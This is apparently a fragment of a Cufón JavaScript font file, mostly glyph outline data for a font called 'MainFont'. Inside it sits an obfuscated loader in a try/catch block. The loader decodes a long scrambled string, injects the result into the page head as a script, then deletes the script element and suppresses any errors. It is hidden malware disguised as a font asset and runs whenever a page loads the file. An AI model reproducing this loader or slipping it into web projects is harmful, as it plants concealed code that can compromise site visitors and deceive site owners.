2,67,-148,146xm318,-592r0,-104r90,0r0,104r-90,0xm130,-592r0,-104r90,0r0,104r-90,0","w":537},{"d":"-1,0r249,-367r-235,-347r114,0r178,279r186,-279r106,0r-236,347r251,367r-116,0r-192,-295r-198,295r-107,0","w":611},{"d":"421,-164r84,0v-23,114,-105,176,-221,176v-165,0,-248,-114,-248,-272v0,-155,102,-269,243,-269v183,0,239,171,234,296r-387,0v-3,90,48,170,161,170v70,0,119,-34,134,-101xm126,-308r297,0v-4,-81,-65,-146,-149,-146v-89,0,-142,67,-148,146","w":537},{"d":"741,-517r-165,517r-90,0r-105,-411r-2,0r-104,411r-92,0r-166,-517r94,0r117,423r2,0r104,-423r93,0r108,423r2,0r116,-423r88,0","w":758,"k":{".":55,",":55}},{"d":"77,17r0,-748r68,0r0,748r-68,0","w":222},{"d":"240,0r0,-634r-238,0r0,-80r571,0r0,80r-238,0r0,634r-95,0","w":574,"k":{"y":111,"w":111,"u":92,"s":111,"r":92,"o":111,"e":111,"c":111,"a":111,"A":92,";":111,":":111,".":111,"-":129,",":111}},{"d":"419,-709r0,468r96,0r0,75r-96,0r0,166r-80,0r0,-166r-311,0r0,-82r323,-461r68,0xm101,-241r238,0r0,-347r-2,0"},{"d":"119,-24r-48,-48r182,-182r-181,-180r48,-48r181,180r180,-180r48,48r-180,180r181,182r-48,48r-181,-182","w":600},{"d":"65,-442r152,120r0,88r-152,120r0,-86r100,-78r-100,-78r0,-86xm261,-442r152,120r0,88r-152,120r0,-86r100,-78r-100,-78r0,-86","w":463},{"d":"55,198r-65,0v95,-150,132,-299,132,-461v0,-168,-37,-315,-132,-468r65,0v96,150,157,293,157,468v0,156,-55,325,-157,461","w":259},{"d":"0,125r0,-50r500,0r0,50r-500,0","w":500},{"d":"756,-308v-2,-81,-53,-146,-143,-146v-91,0,-146,63,-146,146r289,0xm387,-267v-74,46,-262,4,-261,128v0,56,48,76,100,76v112,0,161,-70,161,-117r0,-87xm846,-233r-379,0v0,92,50,170,155,170v63,0,115,-33,131,-100r87,0v-25,112,-109,175,-224,175v-79,0,-153,-24,-187,-101v-39,71,-122,101,-218,101v-98,0,-175,-42,-175,-145v0,-117,87,-142,175,-159v125,-24,176,-20,176,-82v0,-70,-60,-80,-117,-80v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v60,0,142,10,173,75v35,-54,102,-75,165,-75v180,0,233,135,233,296","w":870},{"d":"492,-517r-225,586v-46,123,-95,156,-209,129r0,-78v48,21,101,13,120,-35r35,-88r-205,-514r96,0r151,423r2,0r145,-423r90,0xm189,-588r86,-143r109,0r-131,143r-64,0","w":500},{"d":"740,-429r0,278r60,0r0,55r-60,0r0,96r-62,0r0,-96r-199,0r0,-58r210,-275r51,0xm677,-340r-148,193r150,0r0,-193r-2,0xm215,28r435,-753r64,0r-435,753r-64,0xm177,-477r0,-50v57,3,106,-9,107,-65v0,-40,-33,-62,-77,-62v-54,0,-80,37,-80,86r-68,0v5,-86,59,-141,148,-141v82,0,145,39,145,117v0,40,-35,68,-68,87v58,11,87,51,87,102v0,88,-79,130,-162,130v-89,0,-160,-48,-160,-141r68,0v1,55,34,86,92,86v50,0,94,-27,94,-72v0,-68,-59,-81,-126,-77","w":834},{"d":"78,0r0,-714r245,0v220,0,343,110,343,340v0,239,-105,374,-343,374r-245,0xm173,-634r0,554r158,0v65,0,240,-18,240,-281v0,-170,-63,-273,-238,-273r-160,0","w":704},{"d":"-18,17r296,-748r73,0r-296,748r-73,0","w":333},{"d":"46,8r0,-68r425,-193r-425,-193r0,-68r508,230r0,62","w":600},{"d":"83,0r0,-111r111,0v5,130,2,227,-110,258r0,-50v45,-15,60,-65,58,-97r-59,0xm194,-517r0,111r-111,0r0,-111r111,0","w":278},{"d":"492,-517r0,517r-80,0v-2,-26,4,-60,-2,-82v-36,64,-94,94,-168,94v-136,0,-178,-78,-178,-189r0,-340r85,0r0,350v0,63,40,104,105,104v103,0,153,-69,153,-162r0,-292r85,0"},{"d":"202,-114r-152,-120r0,-88r152,-120r0,86r-100,78r100,78r0,86","w":259},{"d":"503,-351r-88,0v-13,-65,-58,-103,-128,-103v-123,0,-161,97,-161,202v0,95,43,189,151,189v82,0,131,-48,142,-126r87,0v-19,126,-98,201,-228,201v-158,0,-242,-110,-242,-264v0,-155,80,-277,244,-277v117,0,211,55,223,178","w":537},{"d":"390,-714r0,55r-129,0r0,357r-68,0r0,-357r-129,0r0,-55r326,0xm927,-714r0,412r-68,0r0,-344r-2,0r-135,344r-43,0r-135,-344r-2,0r0,344r-68,0r0,-412r105,0r123,313r121,-313r104,0","w":990},{"d":"646,-714r-273,422r0,292r-95,0r0,-292r-276,-422r113,0r214,340r209,-340r108,0","w":648,"k":{"v":55,"u":74,"q":92,"p":74,"o":111,"i":37,"e":111,"a":92,"A":74,";":92,":":92,".":139,"-":111,",":139}},{"d":"77,17r0,-292r68,0r0,292r-68,0xm145,-731r0,292r-68,0r0,-292r68,0","w":222},{"d":"177,-714r0,220r-25,311r-45,0r-25,-311r0,-220r95,0xm74,0r0,-111r111,0r0,111r-111,0","w":259},{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0","w":648,"k":{"y":18,"w":18,"v":18,"Y":74,"W":24,"V":46,"T":92,"\u2019":74}},{"d":"36,-258v0,-152,87,-271,251,-271v164,0,251,119,251,271v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270xm126,-258v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-126,-72,-196,-161,-196v-89,0,-161,70,-161,196","w":574},{"d":"82,198r0,-220r25,-311r45,0r25,311r0,220r-95,0xm185,-517r0,111r-111,0r0,-111r111,0","w":259},{"d":"173,0r-95,0r0,-714r95,0r0,114r218,0v142,0,219,79,219,212v0,132,-77,210,-219,210r-218,0r0,178xm173,-520r0,262r186,0v107,1,156,-45,156,-130v0,-86,-49,-132,-156,-132r-186,0","w":648}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-376-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("K&O(`]za+oWkK0Nsy]v^D&DW_!z(O]Wk_!|^+oXHOu2*:5aV_SA3.&.5_SA3.&x3_SA3.&|F_SA3.&uF`oQpy%f3Ocypy%f3:].*_SA3.&DQ_SA^.ZvN|u7(.ZwcON7(.cf^.u7(.Zda.u7(.ZwFzu7(.cD7.N7(.ZwN:uu*_SA3.].m_SA3.&.Q_Su]:cf^_SA3.&OV_SA3.&dQqN7(.Zda.N7(.cf5.v7(.cf^zN7(.Zw].v7(.ZwV.u7(.ZwFMdlH_SA3.&O]_SA^.ZzR_SA3.&zR+u7(.Zwc.S{Hpv7(.cf7Mv7(.Zd(.Hzpy%f3OcRpy%f7z%zpy%f7z!Xs_SA3.&X]+N7(.Z|F:(7(.ZwV:u7(.Z|czN7(.Zw].LQpy%f3:5ypy%f3Oczpy%f7zcvpy%f3O%|py%f7zcwpy%f3O&XP_SA3.&A5_SA3.&.ayvQpy%f7.5d^_SA3.&ON_SA3.&:(_SA3.&D4_SA3.&.(_SA3.&XV_SA3.&xQ:N7(.ZwF.VOpy%f3:%zpy%f3O]vpy%f^OZNpy%f3:%D2_SA3.&xa_SA3.&vcAu7(.ZwcO_|R_SA3.&x!_SA3.&uNp%{F_0|py%f3:czpyoOV.Zv._SA^.ZD^_SA^.ZvRo(7(.ZwR.Zupy%f3Oc|py%f3:]Opy%f7M%|py%f3OZzS.u7(.ZwNz(7(.Zwc:N7(.ZdmMv7(.ZwF:%Wpy%f3:cOpy%f3:!xW_v7py%f3:5d!_SA3.&AQLdWpy%f3:5Rpy%f3O%upy%f3O%w|_Lzx_SA3.&DmMA(v_SA^.ZvcoVfw0Zdv&SD|K$.zMIxXL%Auo_:O+`py1qPRVcFN]Hl{G,*9kb37^5a(!m4Qns2W=Y{py%f3O%dl_SA3.&DaK(7(.Zw]zcz0_SA3.&:a_SA3.&uc_SA3.&.^.v7(.ZwRON7(.cf7.(7(.ZdmOu|fxaOpy%f3O&zpy%D3.%NQ_SA3.&vN_SA3.&zcL!Opy%f^O&|py%f3O%Rpy%f3OcFP_SA3.&Oc%V(py%f3OZvpy%f3:cuW_SA^.Zxa_SA3.&vR_SA3.&vVuVXpy%f3OoOpy%f^O&v4_SA3.]XF_SA3.&D3_SA3.&Aa_SA3.&d4+&9__SA3.]x4Mv7(.ZwRzu7(.ZwRzvzpy%D3.%Xpy%D3.cwpy%D3.oXpy%f3:c|!_SA3.&dmz(7(.ZwczN7(.ZwN:NRNym7Azv7(.ZwFz(7(.ZwV:VNq_SA3.&A!_SA3.&OF_SA3.&|NXv3bIc9(_SA^.Z.Q:(7(.cd^.NNpy%f3:%:RxoWpy%f3:%vpy%f3O&AV$Hz3`&NaK0DVKL7{I%f*pZ(V$Hf*`Z(3$]7N`]ya+07HIoDkOVQH`SN3+S.W1mas+o:l:VQb+5ab_VPYMHymy(3kK%2lI5{!+_z{y&|*Oo9{`]yN_0Q5O_7V`&u,+oQHOu3kO&u!_0QFOo7Ryv3kp!u2y]N5+_XV`&u,+oQHOu3kp&72y]N5+_Xb`&W]pmX^`!(p$HzNq&W*`!O5yS|b`u3kO&u!_0QFOo7Ryv3kp!u2y]N5+_X5`mua+SzmOoXN`N3kp!u2y]N5+_X5`mua+SzmOoXN`N3kO&u!_0QFOo7Ryv3kp!A{|0W{$HXNpmxl`&Wc:_X{`!4k+&W5y&QR`oA{KoObpVPs+%7*M^*,+LNHo!z`+u(yI_w`+u(WKLP{")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":556,"face":{"font-family":"MainFont","font-weight":500,"font-stretch":"normal","units-per-em":"1000","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"800","descent":"-200","x-height":"12","bbox":"-166 -952 1077.17 210.049","underline-thickness":"50","underline-position":"-75","stemv":"85","unicode-range":"U+0020-U+FB02"}}));
;

